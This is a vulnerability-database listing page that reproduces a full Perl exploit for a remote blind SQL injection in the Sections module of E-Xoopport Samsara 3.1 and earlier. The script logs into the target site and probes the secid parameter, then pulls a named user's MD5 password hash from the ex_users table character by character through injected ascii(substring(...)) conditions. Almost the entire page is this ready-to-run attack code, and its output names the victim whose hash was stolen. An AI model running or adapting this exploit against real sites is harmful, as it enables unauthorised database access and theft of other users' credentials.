Lucene search
K

E-Xoopport - Samsara <= 3.1 - (Sections Module) Remote Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

E-Xoopport - Samsara <= 3.1 Remote Blind SQL Injection Exploi

Code

                                                #!/usr/bin/perl
# [0-Day] E-Xoopport - Samsara &#60;= v3.1 (Sections Module 2) Remote Blind SQL Injection Exploit
# Author/s: _mRkZ_ & Dante90, WaRWolFz Crew
# Created: 2010.09.12 after 0 days the bug was discovered.
# Web Site: www.warwolfz.org

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;

$^O eq &#39;MSWin32&#39; ? system(&#39;cls&#39;) : system(&#39;clear&#39;);

print &#34;
E-Xoopport - Samsara &#60;= v3.1 (Sections Module) Remote Blind SQL Injection Exploit
+---------------------------------------------------+
| Script: E-Xoopport                                |
| Affected versions: 3.1                            |
| Bug: Remote Blind SQL Injection (Sections Module) |
| Author/s: _mRkZ_ & Dante90, WaRWolFz Crew         |
| Web Site: www.warwolfz.org                        |
+---------------------------------------------------+
&#34;;

if (@ARGV != 4) {
	print &#34;\r\nUsage: perl expolit_name.pl &#60;VictimeHost&#62; &#60;YourNick&#62; &#60;YourPass&#62; &#60;NickToHack&#62;\r\n&#34;;
	exit;
}

$host    = $ARGV[0];
$usr     = $ARGV[1];
$pwd     = $ARGV[2];
$anickde = $ARGV[3];
$anick   = &#39;0x&#39;.EncHex($anickde);

print &#34;[+] Logging In...\r\n&#34;;
my %postdata = (
	uname =&#62; &#34;$usr&#34;,
	pass =&#62; &#34;$pwd&#34;
);
$ua = LWP::UserAgent-&#62;new;
$ua-&#62;agent(&#34;Mozilla 5.0&#34;);
my $req		= (POST $host, \%postdata);
my $cookies = HTTP::Cookies-&#62;new();
$request	= $ua-&#62;request($req);
$ua-&#62;cookie_jar($cookies);
$content	= $request-&#62;content;
if ($content =~ /&#60;head&#62;&#60;meta http-equiv=&#34;Refresh&#34; content=&#34;0; URL=modules\/news\/&#34; \/&#62;&#60;\/head&#62;/i) {
	print &#34;[+] Logged in\r\n&#34;;
} else {
	print &#34;[-] Fatal Error: username/password incorrect?\r\n&#34;;
	exit;
}

print &#34;[!] Retriving section id...\r\n&#34;;
$idi = 0;
while ($idi != 11) {
	$idi++;
	$ua = LWP::UserAgent-&#62;new;
	$ua-&#62;agent(&#34;Mozilla 5.0&#34;);
	my $req		= $host.&#34;/modules/sections/index.php?op=listarticles&secid=$idi&#34;;
	$request	= $ua-&#62;get($req);
	$ua-&#62;cookie_jar($cookies);
	$content	= $request-&#62;content;
	if ($content =~ /&#60;center&#62;Ecco i documenti della sezione &#60;b&#62;(.+)&#60;\/b&#62;/ig) {
		$secid = $idi;
		last;
	}
}

if(!defined $secid) {
	print &#34;[-] Fatal Error: Section id not found!\r\n&#34;;
	exit;
} else {
	print &#34;[+] Section id &#39;$secid&#39; retrieved\r\n&#34;;
}

print &#34;[!] Checking path...\r\n&#34;;
$ua = LWP::UserAgent-&#62;new;
$ua-&#62;agent(&#34;Mozilla 5.0&#34;);
my $req		= $host.&#34;/modules/sections/index.php?op=listarticles&secid=$secid&#34;;
$request	= $ua-&#62;get($req);
$ua-&#62;cookie_jar($cookies);
$content	= $request-&#62;content;
if ($content =~ /Ecco i documenti della sezione/i) {
	print &#34;[+] Correct Path\r\n&#34;;
} else {
	print &#34;[-] Fatal Error: Wrong Path\r\n&#34;;
	exit;
}

print &#34;[!] Checking if vulnerability has been fixed...\r\n&#34;;
$ua = LWP::UserAgent-&#62;new;
$ua-&#62;agent(&#34;Mozilla 5.0&#34;);
my $req		= $host.&#34;/modules/sections/index.php?op=listarticles&secid=$secid+AND+1=1&#34;;
$request	= $ua-&#62;get($req);
$ua-&#62;cookie_jar($cookies);
$content	= $request-&#62;content;
if ($content =~ /&#60;center&#62;Ecco i documenti della sezione &#60;b&#62;(.+)&#60;\/b&#62;/ig) {
	print &#34;[+] Vulnerability has not been fixed...\r\n&#34;;
} else {
	print &#34;[-] Fatal Error: Vulnerability has been fixed\r\n&#34;;
	open LOGG, &#34;&#62;log.html&#34;;
	print LOGG $content;
	close LOGG;
	exit;
}

print &#34;[!] Checking nick to hack...\r\n&#34;;
$ua = LWP::UserAgent-&#62;new;
$ua-&#62;agent(&#34;Mozilla 5.0&#34;);
my $req		= $host.&#34;/modules/sections/index.php?op=listarticles&secid=$secid+AND+ascii(substring((SELECT+pass+FROM+ex_users+WHERE+uname=$anick+LIMIT+0,1),32,1))&#62;0&#34;;
$request	= $ua-&#62;get($req);
$ua-&#62;cookie_jar($cookies);
$content	= $request-&#62;content;
if ($content =~ /&#60;center&#62;Ecco i documenti della sezione &#60;b&#62;(.+)&#60;\/b&#62;/ig) {
	print &#34;[+] Nick exists...\r\n&#34;;
} else {
	print &#34;[-] Fatal Error: Nick does not exists\r\n&#34;;
	exit;
}

print &#34;[!] Exploiting...\r\n&#34;;
my $i = 1;
while ($i != 33) {
	my $wn	= 47;
	while (1) {
		$wn++;
		$ua = LWP::UserAgent-&#62;new;
		$ua-&#62;agent(&#34;Mozilla 5.0&#34;);
		my $req		= $host.&#34;/modules/sections/index.php?op=listarticles&secid=$secid+AND+ascii(substring((SELECT+pass+FROM+ex_users+WHERE+uname=$anick+LIMIT+0,1),$i,1))=$wn&#34;;
		$request	= $ua-&#62;get($req);
		$ua-&#62;cookie_jar($cookies);
		$content	= $request-&#62;content;
		if ($content =~ /&#60;center&#62;Ecco i documenti della sezione &#60;b&#62;(.+)&#60;\/b&#62;/ig) {
			$pwdchr .= chr($wn);
			$^O eq &#39;MSWin32&#39; ? system(&#39;cls&#39;) : system(&#39;clear&#39;);
			PrintChars($anickde, $pwdchr, $secid);
			last;
		}
	}
	$i++;
}

print &#34;\r\n[+] Exploiting completed!\r\n\r\n&#34;;
print &#34;Visit: www.warwolfz.net\r\n\r\n&#34;;

sub PrintChars {
$anick1 = $_[0];
$chars = $_[1];
$secid = $_[2];
print &#34;
E-Xoopport - Samsara &#60;= v3.1 (Sections Module) Remote Blind SQL Injection Exploit
+---------------------------------------------------+
| Script: E-Xoopport                                |
| Affected versions: 3.1                            |
| Bug: Remote Blind SQL Injection (Sections Module) |
| Author/s: _mRkZ_ & Dante90, WaRWolFz Crew         |
| Web Site: www.warwolfz.org                        |
+---------------------------------------------------+
[+] Logging In...
[+] Logged in
[!] Retriving section id...
[+] Section id &#39;$secid&#39; retrived
[!] Checking path...
[+] Correct Path
[!] Checking if vulnerability has been fixed...
[+] Vulnerability has not been fixed...
[!] Checking nick to hack...
[+] Nick exists...
[!] Exploiting...
[+] &#34;.$anick1.&#34;&#39;s md5 Password: $chars
&#34;;
}

sub EncHex {
	$char = $_[0];
	chomp $char;
	@trans = unpack(&#34;H*&#34;, &#34;$char&#34;);
	return $trans[0];
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
14